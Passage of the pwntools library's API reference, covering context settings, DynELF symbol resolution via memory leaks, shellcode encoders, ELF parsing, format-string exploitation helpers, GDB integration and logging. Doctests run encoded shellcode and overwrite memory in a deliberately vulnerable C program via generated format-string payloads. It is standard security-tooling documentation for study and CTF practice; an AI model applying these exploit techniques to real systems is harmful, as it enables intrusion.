`ContextType.`**`clear`**`(`**a*, ***kw*`)`

Clears the contents of the context. All values are set to their defaults.

Parameters

- **a** – Arguments passed to `update`
- **kw** – Arguments passed to `update`

Examples

```
>>> # Default value
>>> context.arch == 'i386'
True
>>> context.arch = 'arm'
>>> context.arch == 'i386'
False
>>> context.clear()
>>> context.arch == 'i386'
True
```

`ContextType.`**`copy`**`()` → dict

Returns a copy of the current context as a dictionary.

Examples

```
>>> context.clear()
>>> context.os   = 'linux'
>>> vars(context) == {'os': 'linux'}
True
```

`ContextType.`**`defaults`** **= {‘binary’: None, ‘aslr’: True, ‘log_file’: <pwnlib.context._devnull object at 0x7f5629786750**

Default values for *`pwnlib.context.ContextType`*

`ContextType.`**`device`**

Sets the device being operated on.

`ContextType.`**`endian`**

Endianness of the target machine.

The default value is `'little'`, but changes according to `arch`.

Raises `AttributeError` – An invalid endianness was provided

Examples

```
>>> context.clear()
>>> context.endian == 'little'
True
```

```
>>> context.endian = 'big'
>>> context.endian
'big'
```

```
>>> context.endian = 'be'
>>> context.endian == 'big'
True
```

```
>>> context.endian = 'foobar'
Traceback (most recent call last):
```

```
...
AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little']
```

`ContextType.`**`endianness`**

Legacy alias for `endian`.

Examples

```
>>> context.endian == context.endianness
True
```

`ContextType.`**`endiannesses`** **= OrderedDict([('little', 'little'), ('big', 'big'), ('el', 'little'), ('le', 'little'), ('be', 'big'), ('e**

Valid values for `endian`

`ContextType.`**`kernel`**

Target machine's kernel architecture.

Usually, this is the same as `arch`, except when running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64).

Even then, this doesn't matter much – only when the the segment registers need to be known

`ContextType.`**`local`**`(`***kwargs*`)` → context manager

Create a context manager for use with the `with` statement.

For more information, see the example below or PEP 343.

Parameters **`kwargs`** – Variables to be assigned in the new environment.

Returns ContextType manager for managing the old and new environment.

Examples

```
>>> context.clear()
>>> context.timeout = 1
>>> context.timeout == 1
True
>>> print context.timeout
1.0
>>> with context.local(timeout = 2):
...     print context.timeout
...     context.timeout = 3
...     print context.timeout
2.0
3.0
>>> print context.timeout
1.0
```

`ContextType.`**`log_file`**

Sets the target file for all logging output.

Works in a similar fashion to `log_level`.

Examples

```
>>> context.log_file = 'foo.txt'
>>> log.debug('Hello!')
>>> with context.local(log_level='ERROR'):
...     log.info('Hello again!')
>>> with context.local(log_file='bar.txt'):
...     log.debug('Hello from bar!')
>>> log.info('Hello from foo!')
>>> file('foo.txt').readlines()[-3]
'...:DEBUG:...:Hello!\n'
>>> file('foo.txt').readlines()[-2]
'...:INFO:...:Hello again!\n'
>>> file('foo.txt').readlines()[-1]
'...:INFO:...:Hello from foo!\n'
>>> file('bar.txt').readlines()[-1]
'...:DEBUG:...:Hello from bar!\n'
```

ContextType.**log_level**

Sets the verbosity of `pwntools` logging mechanism.

More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.

Valid values are specified by the standard Python `logging` module.

Default value is set to `INFO`.

Examples

```
>>> context.log_level = 'error'
>>> context.log_level == logging.ERROR
True
>>> context.log_level = 10
>>> context.log_level = 'foobar'
Traceback (most recent call last):
...
AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG', 'ERROR', 'INFO'
```

ContextType.**noptrace**

Disable all actions which rely on ptrace.

This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger).

This option can be set with the `NOPTRACE` command-line argument.

ContextType.**os**

Operating system of the target machine.

The default value is `linux`.

Allowed values are listed in *`pwnlib.context.ContextType.oses`*.

Examples

```
>>> context.os = 'linux'
>>> context.os = 'foobar'
Traceback (most recent call last):
```

```
...
AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux', 'windows']
```

`ContextType.`**`oses`** **= [’android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’]**

Valid values for *`pwnlib.context.ContextType.os()`*

`ContextType.`**`proxy`**

Default proxy for all socket connections.

Accepts either a string (hostname or IP address) for a SOCKS5 proxy on the default port, **or** a `tuple` passed to `socks.set_default_proxy`, e.g. `(socks.SOCKS4, 'localhost', 1234)`.

```
>>> context.proxy = 'localhost'
>>> r=remote('google.com', 80)
Traceback (most recent call last):
...
ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno 111] Connectio
```

```
>>> context.proxy = None
>>> r=remote('google.com', 80, level='error')
```

`ContextType.`**`quiet`**

Disables all non-error logging within the enclosed scope, *unless* the debugging level is set to ‘debug’ or lower.

`ContextType.`**`randomize`**

Global flag that lots of things should be randomized.

`ContextType.`**`reset_local`**`()`

Deprecated. Use `clear()`.

`ContextType.`**`sign`**

Alias for `signed`

`ContextType.`**`signed`**

Signed-ness for packing operation when it’s not explicitly set.

Can be set to any non-string truthy value, or the specific string values `'signed'` or `'unsigned'` which are converted into `True` and `False` correspondingly.

Examples

```
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar'
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or a non-string tr
```

ContextType.**signedness**

Alias for signed

ContextType.**signednesses = {'yes': True, 'unsigned': False, 'signed': True, 'no': False}**

Valid string values for signed

ContextType.**silent**

Disable all non-error logging within the enclosed scope.

ContextType.**terminal**

Default terminal used by *pwnlib.util.misc.run_in_new_terminal()*. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.

ContextType.**timeout**

Default amount of time to wait for a blocking operation before it times out, specified in seconds.

The default value is to have an infinite timeout.

See *pwnlib.timeout.Timeout* for additional information on valid values.

ContextType.**update**(**args*, ***kwargs*)

Convenience function, which is shorthand for setting multiple variables at once.

It is a simple shorthand such that:

```
context.update(os = 'linux', arch = 'arm', ...)
```

is equivalent to:

```
context.os   = 'linux'
context.arch = 'arm'
...
```

The following syntax is also valid:

```
context.update({'os': 'linux', 'arch': 'arm'})
```

Parameters kwargs – Variables to be assigned in the environment.

Examples

```
>>> context.clear()
>>> context.update(arch = 'i386', os = 'linux')
>>> context.arch, context.os
('i386', 'linux')
```

ContextType.**verbose**

Enable all logging within the enclosed scope.

ContextType.**word_size**

Alias for bits

class pwnlib.context.**Thread**(**args*, ***kwargs*)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.context.Thread*.

Threads created by using the native :class'threading'.Thread' will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at __init__) and updates the new thread's context before passing control to the user code via run or target=.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print context.arch
...     context.arch = 'mips'
...     print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print context.arch
arm
```

Implementation Details:

This class implemented by hooking the private function threading.Thread._Thread_bootstrap(), which is called before passing control to threading.Thread.run().

This could be done by overriding run itself, but we would have to ensure that all uses of the class would only ever use the keyword target= for __init__, or that all subclasses invoke super(Subclass.self).set_up_context() or similar.

2.7 pwnlib.dynelf — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

Example

```
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data
```

```
# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')      == system
```

DynELF

class `pwnlib.dynelf.`**`DynELF`**(*leak*, *pointer=None*, *elf=None*)

DynELF knows how to resolve symbols in remote processes via an infoleak or memleak vulnerability encapsulated by *`pwnlib.memleak.MemLeak`*.

Implementation Details:

Resolving Functions:

In all ELFs which export symbols for importing by other libraries, (e.g. `libc.so`) there are a series of tables which give exported symbol names, exported symbol addresses, and the `hash` of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., `'printf'`), it can be located in the hash table. Its location in the hash table provides an index into the string name table (strtab), and the symbol address (symtab).

Assuming we have the base address of `libc.so`, the way to resolve the address of `printf` is to locate the `symtab`, `strtab`, and hash table. The string `"printf"` is hashed according to the style of the hash table (SYSV or GNU), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into `libc.so` from the `symtab`.

Resolving Library Addresses:

If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the link map. This is a linked list structure which contains information about each loaded library, including its full path and base address.

A pointer to the `link map` can be found in two ways. Both are referenced from entries in the DYNAMIC array.

- In non-RELRO binaries, a pointer is placed in the .got.plt area in the binary. This is marked by finding the DT_PLTGOT area in the binary.

- In all binaries, a pointer can be found in the area described by the DT_DEBUG area. This exists even in stripped binaries.

For maximum flexibility, both mechanisms are used exhaustively.

bases()

Resolve base addresses of all loaded libraries.

Return a dictionary mapping library path to its base address.

dynamic

Returns – Pointer to the `.DYNAMIC` area.

elfclass

32 or 64

static **find_base**(*leak*, *ptr*)

Given a *pwnlib.memleak.MemLeak* object and a pointer into a library, find its base address.

libc

Leak the Build ID of the remote libc.so, download the file, and load an `ELF` object with the correct base address.

Returns An ELF object, or None.

link_map

Pointer to the runtime link_map object

lookup(*symb = None*, *lib = None*) → int

Find the address of `symbol`, which is found in `lib`.

Parameters

- **symb** (*str*) – Named routine to look up
- **lib** (*str*) – Substring to match for the library name. If omitted, the current library is searched. If set to `'libc'`, `'libc.so'` is assumed.

Returns Address of the named symbol, or `None`.

stack()

Finds a pointer to the stack via __environ, which is an exported symbol in libc, which points to the environment block.

`pwnlib.dynelf.`**gnu_hash**(*str*) → int

Function used to generated GNU-style hashes for strings.

`pwnlib.dynelf.`**sysv_hash**(*str*) → int

Function used to generate SYSV-style hashes for strings.

2.8 `pwnlib.encoders` — Encoding Shellcode

Encode shellcode to avoid input filtering and impress your friends!

`pwnlib.encoders.encoder.`**alphanumeric**(*raw_bytes*) → str

Encode the shellcode `raw_bytes` such that it does not contain any bytes except for [A-Za-z0-9].

Accepts the same arguments as *encode()*.

`pwnlib.encoders.encoder.`**encode**(*raw_bytes*, *avoid*, *expr*, *force*) → str

Encode shellcode `raw_bytes` such that it does not contain any bytes in `avoid` or `expr`.

Parameters

- **raw_bytes** (*str*) – Sequence of shellcode bytes to encode.
- **avoid** (*str*) – Bytes to avoid
- **expr** (*str*) – Regular expression which matches bad characters.
- **force** (*bool*) – Force re-encoding of the shellcode, even if it doesn't contain any bytes in `avoid`.

`pwnlib.encoders.encoder.`**`line`**`(`*raw_bytes*`)` → str

Encode the shellcode `raw_bytes` such that it does not contain any NULL bytes or whitespace.

Accepts the same arguments as *encode()*.

`pwnlib.encoders.encoder.`**`null`**`(`*raw_bytes*`)` → str

Encode the shellcode `raw_bytes` such that it does not contain any NULL bytes.

Accepts the same arguments as *encode()*.

`pwnlib.encoders.encoder.`**`printable`**`(`*raw_bytes*`)` → str

Encode the shellcode `raw_bytes` such that it only contains non-space printable bytes.

Accepts the same arguments as *encode()*.

`pwnlib.encoders.encoder.`**`scramble`**`(`*raw_bytes*`)` → str

Encodes the input data with a random encoder.

Accepts the same arguments as *encode()*.

class `pwnlib.encoders.i386.xor.`**`i386XorEncoder`**

Generates an XOR decoder for i386.

```
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\xcc\xcd\x80'
>>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

2.9 `pwnlib.elf` — Working with ELF binaries

`pwnlib.elf.`**`load`**`(`**args*, ***kwargs*`)`

Compatibility wrapper for pwntools v1

class `pwnlib.elf.`**`ELF`**`(`*path*`)`

Encapsulates information about an ELF file.

Variables

- **path** – Path to the binary on disk
- **symbols** – Dictionary of {name: address} for all symbols in the ELF
- **plt** – Dictionary of {name: address} for all functions in the PLT
- **got** – Dictionary of {name: address} for all function pointers in the GOT
- ***libs*** – Dictionary of {path: address} for each shared object required to load the ELF

Example

```
bash = ELF(which('bash'))
hex(bash.symbols['read'])
# 0x41dac0
hex(bash.plt['read'])
# 0x41dac0
u32(bash.read(bash.got['read'], 4))
# 0x41dac6
print disasm(bash.read(bash.plt['read'],16), arch='amd64')
# 0:   ff 25 1a 18 2d 00       jmp    QWORD PTR [rip+0x2d181a]        # 0x2d1820
# 6:   68 59 00 00 00          push   0x59
# b:   e9 50 fa ff ff          jmp    0xfffffffffffffa60
```

address
Address of the lowest segment loaded in the ELF. When updated, cascades updates to segment vaddrs, section addrs, symbols, plt, and got.

```
>>> bash = ELF(which('bash'))
>>> old = bash.symbols['read']
>>> bash.address += 0x1000
>>> bash.symbols['read'] == old + 0x1000
True
```

asm(*address*, *assembly*)
Assembles the specified instructions and inserts them into the ELF at the specified address.

The resulting binary can be saved with ELF.save()

bss(*offset=0*)
Returns an index into the .bss segment

disasm(*address*, *n_bytes*)
Returns a string of disassembled instructions at the specified virtual memory address

dwarf
DWARF info for the elf

elfclass
ELF class (32 or 64).

Note: Set during `ELFFile._identify_file`

elftype
ELF type (EXEC, DYN, etc)

entry
Entry point to the ELF

entrypoint
Entry point to the ELF

executable_segments
Returns – list of all segments which are executable.

static **from_assembly**(**a*, ***kw*)
Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.

Parameters

- **assembly** (*str*) – Assembly language listing
- **vma** (*int*) – Address of the entry point and the module's base address.

Example

```
>>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)
>>> e.symbols['foo'] = 0x400001
>>> e.disasm(e.entry, 1)
'  400000:       90                      nop'
>>> e.disasm(e.symbols['foo'], 2)
'  400001:       cd 80                   int    0x80'
```

static from_bytes (**a*, ***kw*)

Given a sequence of bytes, return a fully loaded ELF object which contains those bytes at its entry point.

Parameters

- **bytes** (*str*) – Shellcode byte string
- **vma** (*int*) – Desired base address for the ELF.

Example

```
>>> e = ELF.from_bytes('\x90\xcd\x80', vma=0xc000)
>>> print(e.disasm(e.entry, 3))
    c000:       90                      nop
    c001:       cd 80                   int    0x80
```

get_data ()

Retrieve the raw data from the ELF file.

```
>>> bash = ELF(which('bash'))
>>> fd   = open(which('bash'))
>>> bash.get_data() == fd.read()
True
```

libc

If the ELF imports any libraries which contain 'libc.so', and we can determine the appropriate path to it on the local system, returns an ELF object pertaining to that libc.so.

Otherwise, returns None.

non_writable_segments

Returns – list of all segments which are NOT writeable

offset_to_vaddr (*offset*)

Translates the specified offset to a virtual address.

Parameters **offset** (*int*) – Offset to translate

Returns Virtual address which corresponds to the file offset, or None

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.address == bash.offset_to_vaddr(0)
True
>>> bash.address += 0x123456
>>> bash.address == bash.offset_to_vaddr(0)
True
```

read (*address*, *count*)

Read data from the specified virtual address

Parameters

- **address** (*int*) – Virtual address to read
- **count** (*int*) – Number of bytes to read

Returns A string of bytes, or None

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
'ELF'
```

rwx_segments

Returns – list of all segments which are writeable and executable.

save (*path*)

Save the ELF to a file

```
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = file('/tmp/bash_copy')
>>> bash = file(which('bash'))
>>> bash.read() == copy.read()
True
```

search (*needle*, *writable = False*) → str generator

Search the ELF's virtual address space for the specified string.

Parameters

- **needle** (*str*) – String to search for.
- **writable** (*bool*) – Search only writable sections.

Returns An iterator for each virtual address that matches.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.address + 1 == next(bash.search('ELF'))
True
```

```
>>> sh = ELF(which('bash'))
>>> # /bin/sh should only depend on libc
>>> libc_path = [key for key in sh.libs.keys() if 'libc' in key][0]
>>> libc = ELF(libc_path)
>>> # this string should be in there because of system(3)
>>> len(list(libc.search('/bin/sh'))) > 0
True
```

section (*name*)

Gets data for the named section

Parameters **name** (*str*) – Name of the section

Returns String containing the bytes for that section

sections

A list of all sections in the ELF

segments

A list of all segments in the ELF

start

Entry point to the ELF

vaddr_to_offset (*address*)

Translates the specified virtual address to a file address

Parameters **address** (*int*) – Virtual address to translate

Returns Offset within the ELF file which corresponds to the address, or None.

Examples

```
>>> bash = ELF(which('bash'))
>>> 0 == bash.vaddr_to_offset(bash.address)
True
>>> bash.address += 0x123456
>>> 0 == bash.vaddr_to_offset(bash.address)
True
```

writable_segments

Returns – list of all segments which are writeable

write (*address, data*)

Writes data to the specified virtual address

Parameters

- **address** (*int*) – Virtual address to write
- **data** (*str*) – Bytes to write

Note:: This routine does not check the bounds on the write to ensure that it stays in the same segment.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
'ELF'
>>> bash.write(bash.address, "HELO")
>>> bash.read(bash.address, 4)
'HELO'
```

class `pwnlib.elf.`**`Core`**`(`**a*, ***kw*`)` → Core

Enhances the inforation available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via `core_obj.eax`.

Mappings can be iterated in order via `core_obj.mappings`.

`exe`

Return the first mapping in the executable file.

`getenv``(`*name*`)` → int

Read an environment variable off the stack, and return its address.

Parameters **`name`** (`str`) – Name of the environment variable to read.

Returns The address of the environment variable.

`libc`

Return the first mapping in libc

`maps`

A printable string which is similar to /proc/xx/maps.

`vdso`

Return the mapping for the vdso

`vsyscall`

Return the mapping for the vdso

`vvar`

Return the mapping for the vvar

2.10 `pwnlib.exception` — Pwnlib exceptions

exception `pwnlib.exception.`**`PwnlibException`**`(`*msg*, *reason=None*, *exit_code=None*`)`

Exception thrown by `pwnlib.log.error()`.

Pwnlib functions that encounters unrecoverable errors should call the `pwnlib.log.error()` function instead of throwing this exception directly.

2.11 `pwnlib.fmtstr` — Format string bug exploitation tools

Provide some tools to exploit format string bug

Examples

```
>>> program = tempfile.mktemp()
>>> source  = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
...        char buff[1024];
...        void *ptr = NULL;
...        int *my_var = TARGET;
...        ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_
...        if(ptr != MEMORY_ADDRESS)
...        {
...                perror("mmap");
...                return EXIT_FAILURE;
...        }
...        *my_var = 0x41414141;
...        write(1, &my_var, sizeof(int *));
...        scanf("%s", buff);
...        dprintf(2, buff);
...        write(1, my_var, sizeof(int));
...        return 0;
... }''')
>>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=subprocess.PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print hex(unpack(p.recv(4)))
0x1337babe
```

2.11.1 Example - Payload generation

```
# we want to do 3 writes
writes = {0x08041337:   0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)
```

2.11.2 Example - Automated exploitation

```
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
        log.info("payload = %s" % repr(payload))
        p.sendline(payload)
        return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

class `pwnlib.fmtstr.`**`FmtStr`**(*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*)

Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the *offset* parameter is not given, then try to find the right offset by leaking stack data.

Parameters

- **`execute_fmt`** (`function`) – function to call for communicate with the vulnerable process
- **`offset`** (*`int`*) – the first formatter's offset you control
- **`padlen`** (*`int`*) – size of the pad you want to add before the payload
- **`numbwritten`** (*`int`*) – number of already written bytes

`execute_writes`() → None

Makes payload and send it to the vulnerable process

Returns None

`write`(*addr*, *data*) → None

In order to tell : I want to write `data` at `addr`.

Parameters

- **`addr`** (*`int`*) – the address where you want to write
- **`data`** (*`int`*) – the data that you want to write `addr`

Returns None

Examples

```
>>> def send_fmt_payload(payload):
...     print repr(payload)
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
'\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn%252c%6$hhn%125c%7
```

pwnlib.fmtstr.**fmtstr_payload**(*offset*, *writes*, *numbwritten=0*, *write_size='byte'*) → str

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from `context.bits`

Parameters

- **offset** (*int*) – the first formatter's offset you control
- **writes** (*dict*) – dict with addr, value `{addr:  value,  addr2:  value2}`
- **numbwritten** (*int*) – number of byte already written by the printf function
- **write_size** (*str*) – must be `byte`, `short` or `int`. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)

Returns The payload in order to do needed writes

Examples

```
>>> context.clear(arch = 'amd64')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n%3972547906c%2$n
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x0
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x0
>>> context.clear(arch = 'i386')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00%322419386c%1$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c%2$hhn%125c%3$h
```

2.12 `pwnlib.gdb` — Working with GDB

pwnlib.gdb.**attach**(*target*, *execute = None*, *exe = None*, *arch = None*) → None

Start GDB in a new terminal and attach to *target*. *`pwnlib.util.proc.pidof()`* is used to find the PID of *target* except when *target* is a `(host,  port)`-pair. In that case *target* is assumed to be a GDB server.

If it is running locally and *exe* is not given we will try to find the path of the target binary from parsing the command line of the program running the GDB server (e.g. qemu or gdbserver). Notice that if the PID is known (when *target* is not a GDB server) *exe* will be read from `/proc/<pid>/exe`.

If *gdb-multiarch* is installed we use that or 'gdb' otherwise.

Parameters

- **target** – The target to attach to.
- **execute** (*str or file*) – GDB script to run after attaching.
- **exe** (*str*) – The path of the target binary.
- **arch** (*str*) – Architechture of the target binary. If *exe* known GDB will
- **the architechture automatically** (*detect*) –

Returns `None`

pwnlib.gdb.**debug**(*args*) → tube

Launch a GDB server with the specified command line, and launches GDB to attach to it.

Parameters

- **args** – Same args as passed to pwnlib.tubes.process
- **ssh** – Remote ssh session to use to launch the process. Automatically sets up port forwarding so that gdb runs locally.

Returns A tube connected to the target process

pwnlib.gdb.**debug_assembly**(**a*, ***kw*)

Creates an ELF file, and launches it with GDB.

This is identical to debug_shellcode, except that any defined symbols are available in GDB, and it saves you the explicit call to asm().

pwnlib.gdb.**debug_shellcode**(**a*, ***kw*)

Creates an ELF file, and launches it with GDB.

Parameters

- **data** (*str*) – Assembled shellcode bytes
- **kwargs** (*dict*) – Arguments passed to context (e.g. arch='arm')

Returns A `process` tube connected to the shellcode on stdin/stdout/stderr.

pwnlib.gdb.**find_module_addresses**(*binary*, *ssh=None*, *ulimit=False*)

Cheat to find modules by using GDB.

We can't use `/proc/$pid/map` since some servers forbid it. This breaks `info proc` in GDB, but `info sharedlibrary` still works. Additionally, `info sharedlibrary` works on FreeBSD, which may not have procfs enabled or accessible.

The output looks like this:

```
info proc mapping
process 13961
warning: unable to open /proc file '/proc/13961/maps'

info sharedlibrary
From        To          Syms Read   Shared Object Library
0xf7fdc820  0xf7ff505f  Yes (*)     /lib/ld-linux.so.2
0xf7fbb650  0xf7fc79f8  Yes         /lib32/libpthread.so.0
0xf7e26f10  0xf7f5b51c  Yes (*)     /lib32/libc.so.6
(*): Shared library is missing debugging information.
```

Note that the raw addresses provided by `info sharedlibrary` are actually the address of the `.text` segment, not the image base address.

This routine automates the entire process of:

1.Downloading the binaries from the remote server

2.Scraping GDB for the information

3.Loading each library into an ELF

4.Fixing up the base address vs. the `.text` segment address

Parameters

- **binary** (*str*) – Path to the binary on the remote server

- **ssh** (pwnlib.tubes.tube) – SSH connection through which to load the libraries. If left as None, will use a pwnlib.tubes.process.process.
- **ulimit** (*bool*) – Set to True to run “ulimit -s unlimited” before GDB.

Returns A list of pwnlib.elf.ELF objects, with correct base addresses.

Example:

```
>>> with context.local(log_level=9999):
...     shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0')
...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
>>> os.path.basename(bash_libs[0].path)
'libc.so.6'
>>> hex(bash_libs[0].symbols['system'])
'0x7ffff7634660'
```

2.13 pwnlib.log — Logging stuff

Logging module for printing status during an exploit, and internally within pwntools.

2.13.1 Exploit Developers

By using the standard from pwn import *, an object named log will be inserted into the global namespace. You can use this to print out status messages during exploitation.

For example,:

```
log.info('Hello, world!')
```

prints:

```
[*] Hello, world!
```

Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-forcing).:

```
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
```

The verbosity of logging can be most easily controlled by setting log_level on the global context object.:

```
log.info("No you see me")
context.log_level = 'error'
log.info("Now you don't")
```

The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you can put all logging events into a log file, while only wanting to see a small subset of them on your screen.

2.13.2 Pwnlib Developers

A module-specific logger can be imported into the module via:

```
from .log import getLogger
log = getLogger(__name__)
```

This provides an easy way to filter logging programmatically or via a configuration file for debugging.

When using `progress`, you should use the `with` keyword to manage scoping, to ensure the spinner stops if an exception is thrown.

2.13.3 Technical details

Familiarity with the `logging` module is assumed.

A pwnlib root logger named 'pwnlib' is created and a custom handler and formatter is installed for it. The handler determines its logging level from `context.log_level`.

Ideally `context.log_level` should only affect which records will be emitted by the handler such that e.g. logging to a file will not be changed by it. But for performance reasons it is not feasible log everything in the normal case. In particular there are tight loops inside *`pwnlib.tubes.tube`*, which we would like to be able to debug, but if we are not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside pwnlib, that will not even emit a record without `context.log_level` being set to *logging.DEBUG* or below.

Log records created by `Progress` and `Logger` objects will set `'pwnlib_msgtype'` on the `extra` field to signal which kind of message was generated. This information is used by the formatter to prepend a symbol to the message, e.g. `'[+] '` in `'[+] got a shell!'`

This field is ignored when using the `logging` module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created. The `extra` field then carries a reference to the `Progress` logger as `'pwnlib_progress'`.

If the custom handler determines that `term.term_mode` is enabled, log records that have a `'pwnlib_progess'` in their `extra` field will not result in a message being emitted but rather an animated progress line (with a spinner!) being created. Note that other handlers will still see a meaningful log record.

The custom handler will only handle log records whith a level of at least `context.log_level`. Thus if e.g. the level for the `'pwnlib.tubes.ssh'` is set to `'DEBUG'` no additional output will show up unless `context.log_level` is also set to `'DEBUG'`. Other handlers will however see the extra log records generated by the `'pwnlib.tubes.ssh'` logger.

